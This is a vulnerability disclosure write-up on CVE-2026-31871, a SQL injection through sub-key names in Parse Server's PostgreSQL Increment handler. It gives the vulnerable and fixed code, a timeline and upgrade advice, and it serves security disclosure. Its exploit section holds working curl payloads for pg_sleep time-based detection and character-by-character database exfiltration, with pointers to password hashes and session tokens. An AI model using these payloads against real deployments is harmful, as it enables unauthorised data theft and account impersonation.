TL;DR — Remember CVE-2026-31856, where the amount value in Parse Server's Increment operation was interpolated directly into SQL? That fix parameterized the amount. It missed the other unescaped interpolation sitting right there in the same line of code: the sub-key name itself. Parse Server — 21,000+ GitHub stars, 23,000+ weekly npm downloads — still has an injection point in the same CONCAT expression that CVE-2026-31856 partially fixed. An attacker sends a write request with a crafted sub-key name containing single quotes, breaks out of the SQL string literal, and executes arbitrary SQL against PostgreSQL. CVSS 9.3. Assigned CVE-2026-31871. No workaround.

why this matters

This is the third SQL injection in the same code area of Parse Server's PostgreSQL adapter in the same week. Let me line them up:

  1. CVE-2026-31840transformDotFieldToComponents didn't escape single quotes in dot-notation sub-field names used in sort, distinct, and where. Fixed in 9.6.0-alpha.2 / 8.6.28.
  2. CVE-2026-31856 — The Increment operation on nested object fields interpolated the amount value into SQL without parameterization or type validation. Fixed in 9.6.0-alpha.3 / 8.6.29.
  3. CVE-2026-31871 (this one) — The same Increment code path still interpolates the sub-key name into SQL string literals without escaping single quotes. The CVE-2026-31856 fix parameterized the amount but left the key name vulnerable. Fixed in 9.6.0-alpha.5 / 8.6.31.

Three CVEs. Same adapter. Same code block. Each fix addressed one interpolation and left the next one sitting there. If you patched for CVE-2026-31856 and stopped, you're still vulnerable to this one.

the root cause

Let's look at the code after the CVE-2026-31856 fix was applied. That fix added type validation on the amount and parameterized it with a $N placeholder. Here's what the Increment handler looked like post-CVE-2026-31856:

keysToIncrement
  .map(c => {
    const amount = fieldValue[c].amount;
    if (typeof amount !== 'number') {
      throw new Parse.Error(
        Parse.Error.INVALID_JSON,
        'incrementing must provide a number'
      );
    }
    incrementValues.push(amount);
    const amountIndex = index + incrementValues.length;
    return `CONCAT('{"${c}":', COALESCE($${index}:name->>'${c}','0')::int + $${amountIndex}, '}')::jsonb`;
  })
  .join(' || ');

The ${amount} from the original vulnerable code is gone. It's been replaced by $${amountIndex} — a proper parameterized placeholder. Good. But look at the rest of that template literal. The variable c — the sub-key name — appears twice:

  1. '{"${c}":' — inside a SQL string literal that builds a JSON fragment
  2. ->>'${c}' — inside a single-quoted string used as a JSONB key accessor

Both of those are single-quoted SQL contexts. And c comes from the keys of the object that the client sent in the request body. If the client sends a key name containing a single quote, it breaks out of the SQL string literal. The amount was fixed. The key name was not.

Here's what the generated SQL looks like for a legitimate request incrementing stats.counter:

UPDATE "IncrTest"
SET "stats" = (
  COALESCE("stats", '{}'::jsonb)
  || CONCAT('{"counter":', COALESCE("stats"->>'counter','0')::int + $2, '}')::jsonb
  || $3::jsonb
)
WHERE "objectId" = $1

The sub-key name counter appears in two places: '{"counter":' and ->>'counter'. Both are inside single-quoted SQL strings. Both are built by direct template literal interpolation with no escaping. If counter were instead x','0')::int);SELECT pg_sleep(5)--, the single quote after x closes the string literal, and the rest executes as raw SQL.

the exploit

The attack works through the standard Parse REST API. You send an Increment operation on a nested field where the sub-key name is the injection payload. The amount is a normal number — it passes the type check added by CVE-2026-31856's fix. The injection is entirely in the key name.

step 1: set up the target object

Create an object with a nested field. Standard Parse usage:

# Create an object with a nested stats field
curl -s -X POST "http://localhost:1337/parse/classes/IncrTest" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{"stats": {"counter": 0}}'
# Returns: {"objectId":"abc123",...}

step 2: time-based detection with pg_sleep

Confirm the injection with pg_sleep. The injected key name breaks out of the COALESCE string literal:

# Inject via the sub-key name — amount is a normal number (1)
# The sub-key name breaks out of the single-quoted SQL context
curl -s -w "\nTime: %{time_total}s\n" -X PUT \
  "http://localhost:1337/parse/classes/IncrTest/abc123" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "stats.x\u0027,\u00270\u0027)::int);SELECT pg_sleep(5)--": {
      "__op": "Increment",
      "amount": 1
    }
  }'
# If vulnerable: Time: 5.xxx seconds
# If patched:   near-instant or 400 error

What's happening? The sub-key name x','0')::int);SELECT pg_sleep(5)-- gets interpolated into the SQL. The COALESCE expression that normally reads:

COALESCE("stats"->>'counter','0')::int + $2

becomes:

COALESCE("stats"->>'x','0')::int);SELECT pg_sleep(5)--','0')::int + $2

The first single quote after x closes the JSONB accessor string. The injected payload completes the COALESCE call, closes the enclosing expression, then executes an arbitrary SELECT pg_sleep(5). The -- comments out the remaining SQL. PostgreSQL sleeps for 5 seconds, confirming the injection.

step 3: data exfiltration

Same exfiltration technique as CVE-2026-31856, but through the key name instead of the amount. Extract data character by character using ascii(substr(...)):

# Extract data via the sub-key name injection
# The key name payload causes the ASCII value of the first char
# of the database name to be added to the counter
curl -s -X PUT "http://localhost:1337/parse/classes/IncrTest/abc123" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "stats.x\u0027,\u00270\u0027)::int+(SELECT ascii(substr(current_database(),1,1))))--": {
      "__op": "Increment",
      "amount": 0
    }
  }'

# Read back the object to get the exfiltrated value
curl -s "http://localhost:1337/parse/classes/IncrTest/abc123" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY"
# The counter now contains the ASCII code of the first
# character of the database name

The injected SQL manipulates the arithmetic inside the COALESCE/CONCAT expression so that the subquery result gets stored in the counter value. Read the counter, decode the ASCII, repeat for each character position. Automate it with a script. Same pattern as CVE-2026-31856, different injection point.

The attacker can target any table:

# Read password hashes from _User
# Read session tokens from _Session
# Enumerate table names from pg_tables
# All via the same sub-key name injection vector

impact

The impact is identical to CVE-2026-31856 — same code path, same SQL context, same PostgreSQL adapter:

AttackImpactRequirements
Data exfiltrationRead any column from any table in the PostgreSQL database, character by characterWrite access to any class with a nested object field
CLP bypassClass-Level Permissions are irrelevant — injection occurs inside the storage adapter, below CLP enforcementSame
ACL bypassObject-level ACLs are bypassed for the same reasonSame
Session token theftExtract session tokens from _Session table to impersonate any userSame
Password hash extractionRead bcrypt hashes from _User table for offline crackingSame

CVSS v4 score is 9.3/10 (Critical). Network-accessible, low complexity, no authentication required beyond the REST API key, no user interaction. There is no workaround.

If you patched for CVE-2026-31856 but stopped there, you are still vulnerable. The amount is safe. The key name is not. You need 9.6.0-alpha.5 or 8.6.31 to close this one.

the fix

The fix escapes single quotes in the sub-key name before interpolating it into the SQL query. Standard SQL escaping: double the quote character so that ' becomes '' inside the string literal instead of terminating it:

keysToIncrement
  .map(c => {
    const amount = fieldValue[c].amount;
    if (typeof amount !== 'number') {
      throw new Parse.Error(
        Parse.Error.INVALID_JSON,
        'incrementing must provide a number'
      );
    }
    incrementValues.push(amount);
    const amountIndex = index + incrementValues.length;
    const escapedKey = c.replace(/'/g, "''");
    return `CONCAT('{"${escapedKey}":', COALESCE($${index}:name->>'${escapedKey}','0')::int + $${amountIndex}, '}')::jsonb`;
  })
  .join(' || ');

The key name c is now escaped before it touches the SQL string. A sub-key name like x','0')::int);SELECT 1-- becomes x'',''0'')::int);SELECT 1-- after escaping, which PostgreSQL treats as a literal string value rather than a SQL breakout. The injection is neutralized.

Same escaping strategy used in the CVE-2026-31840 fix for transformDotFieldToComponents. Consistent, minimal, and correct for the SQL context.

Patched versions:

the broader pattern

Three SQL injections in the same adapter, in the same week, in closely related code paths. Each fix addressed one interpolation and left the next one sitting there. This is not a coincidence — it's a structural problem.

What makes CVE-2026-31871 particularly frustrating is that the CVE-2026-31856 fix touched the exact line of code that contains this vulnerability. The developer parameterized ${amount} but left ${c} — sitting right there in the same template literal, in the same CONCAT expression, in the same single-quoted SQL context — as-is. The fix for one injection was staring directly at the next injection and didn't see it.

This is what happens when you fix the specific reported bug rather than auditing the surrounding code for the same class of issue. The reporter says "the amount is injectable," you fix the amount, you ship the patch, you move on. But the right response to a SQL injection report is to grep for every other interpolation in the same code area and ask: "is this one safe too?"

The Increment code path needs a more fundamental approach. The sub-key name can't be parameterized with $N in its current usage — it appears inside a JSON string literal being built by CONCAT, and as a JSONB accessor key. But the current approach of escaping individual quotes at each usage site is fragile. A safer design would validate sub-key names against a strict allowlist pattern (alphanumeric plus underscore) at the adapter boundary, rejecting anything that contains characters that could interfere with SQL syntax. Defense in depth.

If you're running Parse Server on PostgreSQL, here's the full upgrade path for this code area: 8.6.28 for CVE-2026-31840, then 8.6.29 for CVE-2026-31856, then 8.6.31 for this one. Or just jump straight to 8.6.31 (or 9.6.0-alpha.5 on the 9.x line) and close all three at once. Don't stop halfway.

disclosure timeline

DateEvent
Mar 9, 2026Vulnerability reported to parse-community via GitHub Security Advisory
Mar 9, 2026Maintainer confirmed and developed fix
Mar 10, 2026CVE-2026-31871 assigned by GitHub. CVSS 9.3 (Critical).
Mar 10, 2026Patched versions released (9.6.0-alpha.5, 8.6.31)

Credit to @mtrezza for the consistently fast turnaround. Three critical SQL injections confirmed and patched in under 48 hours is genuinely impressive maintainer response time.

This vulnerability was reported through responsible disclosure to the parse-community security team.